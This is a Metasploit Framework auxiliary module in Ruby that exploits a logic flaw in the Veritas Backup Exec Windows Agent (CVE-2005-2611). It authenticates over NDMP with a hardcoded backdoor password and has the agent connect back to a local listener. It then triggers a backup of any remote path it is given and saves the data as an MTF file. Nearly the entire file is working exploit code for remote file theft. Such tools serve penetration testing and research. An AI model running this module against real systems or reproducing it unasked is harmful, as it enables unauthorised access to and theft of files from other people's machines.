## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::NDMP def initialize(info = {}) super(update_info(info, 'Name' => 'Veritas Backup Exec Windows Remote File Access', 'Description' => %q{ This module abuses a logic flaw in the Backup Exec Windows Agent to download arbitrary files from the system. This flaw was found by someone who wishes to remain anonymous and affects all known versions of the Backup Exec Windows Agent. The output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program listed in the references section. To transfer an entire directory, specify a path that includes a trailing backslash. }, 'Author' => [ 'hdm', 'Unknown' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2005-2611'], ['OSVDB', '18695'], ['BID', '14551'], ['URL', 'http://www.fpns.net/willy/msbksrc.lzh'], ], 'Actions' => [ ['Download'] ], 'DefaultAction' => 'Download' )) register_options( [ Opt::RPORT(10000), OptAddress.new('LHOST', [ false, "The local IP address to accept the data connection" ] ), OptPort.new('LPORT', [ false, "The local port to accept the data connection" ] ), OptString.new('RPATH', [ true, "The remote filesystem path to download", "C:\\boot.ini" ] ), OptString.new('LPATH', [ true, "The local filename to store the exported data", "backupexec_dump.mtf" ] ), ], self.class) end def run print_status("Attempting to retrieve #{datastore['RPATH']}...") lfd = File.open(datastore['LPATH'], 'wb') connect data = ndmp_recv() if (not data) print_error("Did not receive a response from the agent") disconnect return end username = "root" password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f" # # Authenticate using the backdoor password # auth = [ 1, Time.now.to_i, 0, 0x0901, 0, 0, 2, username.length, username, password ].pack('NNNNNNNNA*A*') print_status("Sending magic authentication request...") ndmp_send(auth) data = ndmp_recv() if (not data) print_error("Did not receive a response to our authentication request") disconnect return end # # Create our listener for the data connection # print_status("Starting our data listener...") sfd = Rex::Socket.create_tcp_server( 'LocalPort' => datastore['LPORT'] ) local_addr = (datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])) local_port = sfd.getsockname[2] # # Create the DATA_CONNECT request # conn = [ 3, 0, 0, 0x040a, 0, 0, 1, Rex::Socket.gethostbyname(local_addr)[3], local_port ].pack('NNNNNNNA4N') print_status("Sending data connection request...") ndmp_send(conn) data = ndmp_recv() if (not data) print_error("Did not receive a response to our data connection request") sfd.close disconnect return end # # Wait for the agent to connect back # print_status("Waiting for the data connection...") rfd = sfd.accept() sfd.close # # Create the Mover Set Record Size request # msrs = [ 4, 0, 0, 0x0a08, 0, 0, 0x8000 ].pack('NNNNNNN') print_status("Sending transfer parameters...") ndmp_send(msrs) data = ndmp_recv() if (not data) print_error("Did not receive a response to our parameters request") disconnect return end # # Define our tranfer parameters # xenv = [ ['USERNAME', ''], ['BU_EXCLUDE_ACTIVE_FILES', '0'], ['FILESYSTEM', "\"\\\\#{datastore['RHOST']}\\#{datastore['RPATH']}\",v0,t0,l0,n0,f0"] ] # # Create the DATA_START_BACKUP request # bkup = [ 5, 0, 0, 0x0401, 0, 0, 4 ].pack('NNNNNNN') bkup += "dump" bkup += [ xenv.length ].pack('N') # # Encode the transfer parameters # xenv.each do |e| k,v = e # Variable bkup += [k.length].pack('N') bkup += k bkup += Rex::Encoder::NDR.align(k) # Value bkup += [v.length].pack('N') bkup += v bkup += Rex::Encoder::NDR.align(v) end bkup[-1, 1] = "\x01" print_status("Sending backup request...") ndmp_send(bkup) data = ndmp_recv() if (not data) print_error("Did not receive a response to our backup request") disconnect return end # # Create the GET_ENV request # genv = [ 5, 0, 0, 0x4004, 0, 0 ].pack('NNNNNN') print_status("Sending environment request...") ndmp_send(genv) data = ndmp_recv() if (not data) print_error("Did not receive a response to our environment request") disconnect return end # # Start transferring data # print_status("Transferring data...") bcnt = 0 begin while (data = rfd.get_once) bcnt += data.length lfd.write(data) end rescue ::EOFError end lfd.close rfd.close print_status("Transferred #{bcnt} bytes.") disconnect end end